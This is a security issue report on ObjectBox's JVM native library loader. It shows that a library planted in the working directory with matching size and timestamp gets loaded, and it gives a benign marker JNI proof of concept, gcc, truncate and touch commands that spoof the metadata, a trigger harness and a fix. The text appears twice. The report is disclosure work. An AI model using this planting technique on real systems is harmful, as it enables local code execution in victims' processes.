Is there an existing issue?
Related issues I found:
Those issues look related to the same loader design, but I did not find an existing issue for the security impact described here: a pre-existing current-working-directory native library can be trusted and loaded, causing native code execution before ObjectBox native methods are called.
Build info
- ObjectBox version: 5.4.2
- OS: Linux x86-64, tested on Kali GNU/Linux under WSL2
- Device/ABI/architecture: JVM desktop/server path, x86-64
- Java: OpenJDK 11 for the verification build
- Audited source commit:
ada8ae421645d083fc70cb74aff71b99117e111e
- Affected component:
io.objectbox.internal.NativeLibraryLoader
Steps to reproduce
- Put
objectbox-java and the matching JVM native artifact on the classpath. I verified with io.objectbox:objectbox-java:5.4.2 and io.objectbox:objectbox-linux:5.4.2.
- In the process current working directory, place a benign marker JNI shared object named like the platform ObjectBox library. On Linux x86-64 this is
libobjectbox-jni-linux-x64.so.
- Make the file metadata match the bundled native resource. For the
io.objectbox:objectbox-linux:5.4.2 artifact I tested, /native/libobjectbox-jni-linux-x64.so had:
- content length:
33873184
URLConnection.getLastModified(): 1781872463000
- Compile the benign marker library shown below. It only implements
JNI_OnLoad and writes a local marker file. It does not implement any ObjectBox native methods.
- Run a small Java harness from that same working directory that triggers the ObjectBox JVM native loader, for example by calling
io.objectbox.internal.NativeLibraryLoader.ensureLoaded(), BoxStore.getVersionNative(), or by constructing a BoxStore.
Expected behavior
ObjectBox should only load a native library from a trusted bundled location or an application-owned extraction/cache directory, and should verify the extracted library before loading it. A pre-existing file in the process current working directory should not be accepted as the ObjectBox JNI library based only on filename, size, and last-modified timestamp.
Actual behavior
The JVM loader computes a platform-specific filename, checks/extracts /native/<filename> into new File(filename), and later loads new File(filename).getAbsolutePath() if that file exists.
Because new File(filename) is relative, this resolves to the process current working directory. The existing-file check in checkUnpackLib() only compares file length and URLConnection.getLastModified(). A planted file with the expected filename, length, and mtime is not overwritten and is loaded via System.load(...).
In my local verification, the benign marker library's JNI_OnLoad executed and wrote objectbox-loader-marker.txt before any ObjectBox native method was invoked.
Impact: a local attacker who can plant files in the JVM process current working directory before startup can cause an ObjectBox-based JVM application to load attacker-controlled native code in the application's process context. This is not a remote vulnerability by itself; severity depends on how the application is launched and the permissions of the victim JVM process.
Relevant code paths in NativeLibraryLoader.java at the audited commit:
- The Linux x86-64 filename is built as
libobjectbox-jni-linux-x64.so, then passed to checkUnpackLib(filename).
- The loader creates
File file = new File(filename) and calls System.load(file.getAbsolutePath()) if it exists.
checkUnpackLib(filename) also uses new File(filename) and only compares file.length() plus file.lastModified() against the resource metadata before deciding whether to overwrite the file.
Code
Code
MarkerPayload.c:
#include <jni.h>
#include <stdio.h>
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
FILE *marker = fopen("objectbox-loader-marker.txt", "wb");
if (marker != NULL) {
fwrite("loaded\n", 1, 7, marker);
fclose(marker);
}
return JNI_VERSION_1_6;
}
Build the benign marker library and set the metadata to match the bundled io.objectbox:objectbox-linux:5.4.2 resource:
$ gcc -shared -fPIC \
-I"$JAVA_HOME/include" \
-I"$JAVA_HOME/include/linux" \
MarkerPayload.c \
-o libobjectbox-jni-linux-x64.so
$ truncate -s 33873184 libobjectbox-jni-linux-x64.so
$ touch -d @1781872463 libobjectbox-jni-linux-x64.so
LoaderTrigger.java:
import io.objectbox.internal.NativeLibraryLoader;
import java.nio.file.Files;
import java.nio.file.Path;
public final class LoaderTrigger {
public static void main(String[] args) throws Exception {
NativeLibraryLoader.ensureLoaded();
Path marker = Path.of("objectbox-loader-marker.txt");
System.out.println("markerExists=" + Files.exists(marker));
if (Files.exists(marker)) {
System.out.println("markerLength=" + Files.size(marker));
}
}
}
Build and run the Java trigger from the same directory as the planted libobjectbox-jni-linux-x64.so:
$ javac -cp "<objectbox-java and objectbox-linux classpath>" LoaderTrigger.java
$ java -cp ".:<objectbox-java and objectbox-linux classpath>" LoaderTrigger
Logs, stack traces
Logs
$ java -cp "<objectbox-java and objectbox-linux classpath>" LoaderTrigger
markerExists=true
markerLength=7
$ stat -c '%n %s %Y' libobjectbox-jni-linux-x64.so
libobjectbox-jni-linux-x64.so 33873184 1781872463
The stat output shows the planted current-directory file retained the same size and mtime used for the resource metadata check, so it was not overwritten by checkUnpackLib().
Suggested fix
Do not load JVM native libraries from the process current working directory by default. Instead, extract bundled native libraries into an application-owned, permission-restricted cache directory, preferably versioned and not writable by less-privileged users.
Verify a cryptographic digest of the extracted library before loading it; do not only treat size and mtime as an integrity check.If extraction fails, fail closed instead of continuing to load a pre-existing relative-path file.
Consider exposing a documented, safe override for the extraction/load directory; this would also address the related packaging and multi-process collision reports above.
Is there an existing issue?
Related issues I found:
Those issues look related to the same loader design, but I did not find an existing issue for the security impact described here: a pre-existing current-working-directory native library can be trusted and loaded, causing native code execution before ObjectBox native methods are called.
Build info
ada8ae421645d083fc70cb74aff71b99117e111eio.objectbox.internal.NativeLibraryLoaderSteps to reproduce
objectbox-javaand the matching JVM native artifact on the classpath. I verified withio.objectbox:objectbox-java:5.4.2andio.objectbox:objectbox-linux:5.4.2.libobjectbox-jni-linux-x64.so.io.objectbox:objectbox-linux:5.4.2artifact I tested,/native/libobjectbox-jni-linux-x64.sohad:33873184URLConnection.getLastModified():1781872463000JNI_OnLoadand writes a local marker file. It does not implement any ObjectBox native methods.io.objectbox.internal.NativeLibraryLoader.ensureLoaded(),BoxStore.getVersionNative(), or by constructing aBoxStore.Expected behavior
ObjectBox should only load a native library from a trusted bundled location or an application-owned extraction/cache directory, and should verify the extracted library before loading it. A pre-existing file in the process current working directory should not be accepted as the ObjectBox JNI library based only on filename, size, and last-modified timestamp.
Actual behavior
The JVM loader computes a platform-specific filename, checks/extracts
/native/<filename>intonew File(filename), and later loadsnew File(filename).getAbsolutePath()if that file exists.Because
new File(filename)is relative, this resolves to the process current working directory. The existing-file check incheckUnpackLib()only compares file length andURLConnection.getLastModified(). A planted file with the expected filename, length, and mtime is not overwritten and is loaded viaSystem.load(...).In my local verification, the benign marker library's
JNI_OnLoadexecuted and wroteobjectbox-loader-marker.txtbefore any ObjectBox native method was invoked.Impact: a local attacker who can plant files in the JVM process current working directory before startup can cause an ObjectBox-based JVM application to load attacker-controlled native code in the application's process context. This is not a remote vulnerability by itself; severity depends on how the application is launched and the permissions of the victim JVM process.
Relevant code paths in
NativeLibraryLoader.javaat the audited commit:libobjectbox-jni-linux-x64.so, then passed tocheckUnpackLib(filename).File file = new File(filename)and callsSystem.load(file.getAbsolutePath())if it exists.checkUnpackLib(filename)also usesnew File(filename)and only comparesfile.length()plusfile.lastModified()against the resource metadata before deciding whether to overwrite the file.Code
Code
MarkerPayload.c:Build the benign marker library and set the metadata to match the bundled
io.objectbox:objectbox-linux:5.4.2resource:LoaderTrigger.java:Build and run the Java trigger from the same directory as the planted
libobjectbox-jni-linux-x64.so:Logs, stack traces
Logs
The
statoutput shows the planted current-directory file retained the same size and mtime used for the resource metadata check, so it was not overwritten bycheckUnpackLib().Suggested fix
Do not load JVM native libraries from the process current working directory by default. Instead, extract bundled native libraries into an application-owned, permission-restricted cache directory, preferably versioned and not writable by less-privileged users.
Verify a cryptographic digest of the extracted library before loading it; do not only treat size and mtime as an integrity check.If extraction fails, fail closed instead of continuing to load a pre-existing relative-path file.
Consider exposing a documented, safe override for the extraction/load directory; this would also address the related packaging and multi-process collision reports above.